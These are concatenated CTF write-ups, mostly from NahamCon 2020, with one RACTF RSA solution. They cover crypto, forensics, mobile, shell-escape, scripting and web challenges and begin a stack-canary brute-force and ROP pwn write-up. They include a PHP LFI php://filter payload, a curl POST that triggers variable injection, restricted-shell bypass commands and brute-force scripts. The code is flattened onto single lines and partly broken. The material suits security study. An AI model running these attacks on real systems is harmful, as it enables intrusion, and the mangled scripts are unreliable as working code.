and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# Really Small Algorithm:Cryptography:150ptsChallenge instance ready at 95.216.233.106:50991. Connect to the network service to get the flag.
# Solutionncすると以下のように表示される。 ```bash$ nc 95.216.233.106 50991n: 184356480709259722942004799861065325678140656753168351803587660246754457863055072413486797658613478488594422031971061993664487018310850704623993405767148377e: 65537ct: 43099747263520504904736192083958363509633018523690786070309710467119783083688498809183800008128410735825936992197148936314285862620179071589857444668228951```RSA暗号らしいので素因数分解を試みる。 ```bash$ ./msieve -q -v -e 184356480709259722942004799861065325678140656753168351803587660246754457863055072413486797658613478488594422031971061993664487018310850704623993405767148377
~~~random seeds: 6bebb5d2 e840c007factoring 184356480709259722942004799861065325678140656753168351803587660246754457863055072413486797658613478488594422031971061993664487018310850704623993405767148377 (156 digits)p2 factor: 17prp155 factor: 10844498865250571937764988227121489745772979809009903047269862367456144580179710141969811626977263440505554237174768352568499236371226512036705494456891081elapsed time 00:00:00```とんでもない速度で終わってしまった。 素数が小さすぎたようだ。 以下のプログラムで解いてやる。 ```python:dec_sp.pyfrom Crypto.PublicKey import RSAfrom Crypto import Randomfrom Crypto.Util.number import *import Crypto.PublicKey.RSA as RSA
n = 184356480709259722942004799861065325678140656753168351803587660246754457863055072413486797658613478488594422031971061993664487018310850704623993405767148377e = 65537c = 43099747263520504904736192083958363509633018523690786070309710467119783083688498809183800008128410735825936992197148936314285862620179071589857444668228951p = 17q = 10844498865250571937764988227121489745772979809009903047269862367456144580179710141969811626977263440505554237174768352568499236371226512036705494456891081d = inverse(e, (p-1)*(q-1))key = RSA.construct((n, e, d))print(long_to_bytes(key.decrypt(c)))``````bash$ python dec_sp.pyb'ractf{S0m3t1mesS1zeDoesM4773r}'```
## ractf{S0m3t1mesS1zeDoesM4773r} |
# NahamCon CTF 2020
## Ripe Reader
> 200>> Terminal typing images! ASCII-MAZING!>> **Note, this challenge WILL require you to bruteforce.**>> Connect here:> `nc one.jh2i.com 50023`> `nc two.j2hi.com 50023`> `nc three.jh2i.com 50023`> `nc four.jh2i.com 50023`>> [`ripe_reader`](ripe_reader)
Tags: _pwn_ _x86-64_ _rop_ _stack-canary_ _bof_
## Summary
`ripe_reader` is a basic network service that will emit ASCII "art" from a fixed menu of four "works of art".
Each connection to `ripe_reader` forks a child process inheriting the parent stack canary. Three brute-forces (canary, process base 4th least significant nibble and full 48-bit address) later, ROP can be used to get the flag.
This challenge is not dissimilar to [Blind Piloting](https://github.com/datajerk/ctf-write-ups/blob/master/b01lersctf2020/blind-piloting/README.md). In fact, I used that code as a base for this challenge. The most significant difference is that [Blind Piloting](https://github.com/datajerk/ctf-write-ups/blob/master/b01lersctf2020/blind-piloting/README.md) gets a _unique_ parent on each connection and the child processes leverage that same connection. This makes for faster brute-forcing, however each failed attempt will require starting over since the canary will change. Ripe Reader provides a new child for each attempt, however the parent canary does not change; this is slower, however failed or partial attempts can pickup from where they left off as long as the servers do not get restarted.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```
All mitigations in place. ### Decompile with Ghidra
There are two functions worth analyzing: `selectImg` and `printFile`.

Line 18 contains the vulnerability; `recv` will accept up to `0x400` bytes into a buffer (`local_48`) that is statically allocated for `56` bytes. However, the stack canary will detect any buffer overflow attempt and kill the child with:
```*** stack smashing detected ***: <unknown> terminated```
Since the canary remains unchanged, it can be brute-forced, byte-by-byte.
> _See [Blind Piloting](https://github.com/datajerk/ctf-write-ups/blob/master/b01lersctf2020/blind-piloting/README.md) for a detailed example._
Getting past the canary is only the first step. There are no free leaks, so the same method to obtain the canary will need to be used (twice) to get the process base address. Once the process base address has been brute-forced, leaking libc to get a shell is next (_maybe_--untested); however for this challenge `ripe_reader` provides a `printFile` function that can be passed `./flag.txt`--this is a lot easier.
> That _is_ a guess, BTW. Worse case, we'll have to work _harder_.
Checking to see if we're lucky:
```bash# strings ripe_reader | grep flag.txt./flag.txt```
Yep, good guess.
## Exploit
### Attack Plan
1. First Pass: Brute-force stack canary2. Second Pass: Brute-force process address LSBytes3. Third Pass: Brute-force entire process address4. Final Pass: ROP call `printFile` to get the flag
### Initial Setup
```python#!/usr/bin/python3
from pwn import *import sys
binary = ELF('ripe_reader')
context.log_level = 'WARN'server = sys.argv[1]port = int(sys.argv[2])buf = (0x48 - 0x10) * b'A'x = [i for i in range(256) if i != 10 ]canary = p8(0)```
The `log_level` of `WARN` will eliminate the connection `INFO` messages emitted from pwntools. This can be quite annoying, esp. when you're observing the output.
`server` and `port` get set from the command line. Since multiple servers were provided, I ran against all of them in parallel.
The length of `buf` is the number of bytes just above the canary. The values `0x48` and `0x10` are from the Ghidra stack diagram, i.e., `local_48` - `local_10`.
`x` is the list of candidate bytes for brute-forcing. Basically all bytes but `\n`. When the other end is using something like `fgets` or `gets`, input is terminated with `\n`. This challenges uses `recv`, which is more like `read`. Excluding `\n` is probably not necessary, but I was too lazy to read the code. I figured if there were a `\n` in the canary or process address and since the canary/process address would not change, I could remove and test, but I never got a failure. Anyway, it probably does not need to be there.
